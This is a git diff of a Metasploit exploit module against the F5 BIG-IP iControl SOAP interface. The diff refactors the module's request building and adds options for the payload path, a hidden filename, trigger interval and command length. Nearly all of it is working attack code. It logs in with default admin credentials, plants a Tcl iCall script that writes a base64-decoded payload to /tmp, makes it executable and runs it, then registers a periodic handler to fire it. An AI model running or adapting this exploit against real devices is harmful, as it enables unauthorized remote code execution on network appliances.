F5 module

bug/bundler_fix
m0t 2015-11-12 09:51:09 +00:00
parent 66ed66cc81
commit eae2d6c89d
1 changed files with 168 additions and 168 deletions

View File

@ -4,11 +4,13 @@
##
require 'msf/core'
require 'nokogiri'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
@ -44,201 +46,184 @@ class Metasploit3 < Msf::Exploit::Remote
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']),
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
], self.class)
register_advanced_options(
[
OptInt.new('INTERVAL', [ true, 'Time interval before the iCall::Handler is called, in seconds', 3 ]),
OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
OptString.new('FILENAME', [false, 'File name of the dropped payload', '.9cdfb439c7876e70']),
OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
], self.class)
end
def xml_add_namespaces(xml)
ns = xml.doc.root.add_namespace_definition("soapenv","http://schemas.xmlsoap.org/soap/envelope/")
xml.doc.root.namespace = ns
xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance")
xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema")
xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script")
xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding")
xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler")
return xml
end
# cmd is valid tcl script
def create_script(cmd)
scriptname = Rex::Text.rand_text_alpha_lower(5)
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item>#{scriptname}</item></scripts>
<definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item>#{cmd}</item></definitions>
</scr:create>
</soapenv:Body>
</soapenv:Envelope>
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
def send_soap_request(pay)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
if res and res.code == 200
return scriptname
return res
else
if res and res.code == 401
print_error('401 Unauthorized')
print_error('401 Unauthorized - Check credentials')
else
print_error("#{res.code} - Unknown error")
end
return false
end
end
# cmd is valid tcl script
def create_script(cmd)
scriptname = Rex::Text.rand_text_alpha_lower(5)
xml = Nokogiri::XML::Builder.new do |xml|
xml.Envelope do
xml = xml_add_namespaces(xml)
xml['soapenv'].Header
xml['soapenv'].Body do
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item scriptname
end
xml.definitions('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item cmd
end
end
end
end
end
pay = xml.to_xml
if send_soap_request(pay)
return scriptname
else
return false
end
end
def delete_script(scriptname)
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<scr:delete_script soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item>#{scriptname}</item>
</scripts>
</scr:delete_script>
</soapenv:Body>
</soapenv:Envelope>
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
if res and res.code == 200
return true
else
if res and res.code == 401
print_error('401 Unauthorized')
xml = Nokogiri::XML::Builder.new do |xml|
xml.Envelope do
xml = xml_add_namespaces(xml)
xml['soapenv'].Header
xml['soapenv'].Body do
xml['scr'].delete_script("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item scriptname
end
end
end
end
return false
end
pay = xml.to_xml
return send_soap_request(pay)
end
def script_exists(scriptname)
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:scr="urn:iControl:iCall/Script">
<soapenv:Header/>
<soapenv:Body>
<scr:get_list soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
</soapenv:Body>
</soapenv:Envelope>
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
xml = Nokogiri::XML::Builder.new do |xml|
xml.Envelope do
xml = xml_add_namespaces(xml)
xml['soapenv'].Header
xml['soapenv'].Body do
xml['scr'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
end
end
end
pay = xml.to_xml
res = send_soap_request(pay)
if res and res.code == 200 and res.body =~ /\/Common\/#{scriptname}/
return true
else
if res and res.code == 401
print_error('401 Unauthorized')
end
return false
end
end
def create_handler(scriptname, interval)
handler_name = Rex::Text.rand_text_alpha_lower(5)
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<per:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item>#{handler_name}</item>
</handlers>
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item>/Common/#{scriptname}</item>
</scripts>
<intervals xsi:type="urn:Common.ULongSequence" soapenc:arrayType="xsd:long[]" xmlns:urn="urn:iControl">
<item>#{interval}</item>
</intervals>
</per:create>
</soapenv:Body>
</soapenv:Envelope>
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
if res and res.code == 200
xml = Nokogiri::XML::Builder.new do |xml|
xml.Envelope do
xml = xml_add_namespaces(xml)
xml['soapenv'].Header
xml['soapenv'].Body do
xml['per'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
xml.handlers('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item handler_name
end
xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item scriptname
end
xml.intervals('xsi:type'=>'urn:Common.ULongSequence', 'soapenc:arrayType'=>'xsd:long[]', 'xmlns:urn'=>'urn:iControl') do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item interval
end
end
end
end
end
pay = xml.to_xml
if send_soap_request(pay)
return handler_name
else
if res and res.code == 401
print_error('401 Unauthorized')
end
return false
end
end
def delete_handler(handler_name)
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<per:delete_handler soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item>#{handler_name}</item>
</handlers>
</per:delete_handler>
</soapenv:Body>
</soapenv:Envelope>
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
if res and res.code == 200
return true
else
if res and res.code == 401
print_error('401 Unauthorized')
xml = Nokogiri::XML::Builder.new do |xml|
xml.Envelope do
xml = xml_add_namespaces(xml)
xml['soapenv'].Header
xml['soapenv'].Body do
xml['per'].delete_handler("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
xml.handlers('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item handler_name
end
end
end
end
return false
end
pay = xml.to_xml
return send_soap_request(pay)
end
def handler_exists(handler_name)
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:per="urn:iControl:iCall/PeriodicHandler">
<soapenv:Header/>
<soapenv:Body>
<per:get_list soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
</soapenv:Body>
</soapenv:Envelope>
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
xml = Nokogiri::XML::Builder.new do |xml|
xml.Envelope do
xml = xml_add_namespaces(xml)
xml['soapenv'].Header
xml['soapenv'].Body do
xml['per'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
end
end
end
pay = xml.to_xml
res = send_soap_request(pay)
if res and res.code == 200 and res.body =~ /\/Common\/#{handler_name}/
return true
else
if res and res.code == 401
print_error('401 Unauthorized')
end
return false
end
end
@ -249,22 +234,27 @@ class Metasploit3 < Msf::Exploit::Remote
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
# any other response is considered not vulnerable
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item></item></scripts>
<definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item></item></definitions>
</scr:create>
</soapenv:Body>
</soapenv:Envelope>
}
xml = Nokogiri::XML::Builder.new do |xml|
xml.Envelope do
xml = xml_add_namespaces(xml)
xml['soapenv'].Header
xml['soapenv'].Body do
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item ""
end
xml.definitions('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item ""
end
end
end
end
end
pay = xml.to_xml
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
@ -283,15 +273,23 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
# phase 1: create iCall script to create file with payload, execute it and remove it.
filepath = '/tmp/'
filename = Rex::Text.rand_text_alpha_lower(5)
dest_file = filepath + filename
filepath = datastore['PATH']
filename = datastore['FILENAME']
dest_file = filepath + '/' + filename
#register_file_for_cleanup dest_file
shell_cmd = %Q@echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file}; chmod +x #{dest_file};#{dest_file};rm -f #{dest_file}@
cmd = %Q@if { ! [file exists #{dest_file}]} { exec /bin/sh -c "#{shell_cmd}"}@
arg_max = datastore['ARG_MAX']
if shell_cmd.size > arg_max
print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)"
return false
end
scriptname = Rex::Text.rand_text_alpha_lower(5)
print_status('Uploading payload...')
cmd = %Q@if { ! [file exists #{dest_file}]} { exec /bin/sh -c "echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file};@ +
%Q@chmod +x #{dest_file};#{dest_file};rm #{dest_file} "}@
script = create_script(cmd)
unless script
print_error("Upload script failed")
@ -299,14 +297,16 @@ class Metasploit3 < Msf::Exploit::Remote
end
unless script_exists(script)
print_error("create_script() run successfully but script was not found")
return false
end
interval = 5
interval = datastore['INTERVAL']
# phase 2: create iCall Handler, that will actually run the previously created script
print_status('Creating trigger...')
handler = create_handler(script, interval)
unless handler
print_error('Script uploaded but create_handler() failed')
return false
end
print_status('Wait until payload is executed...')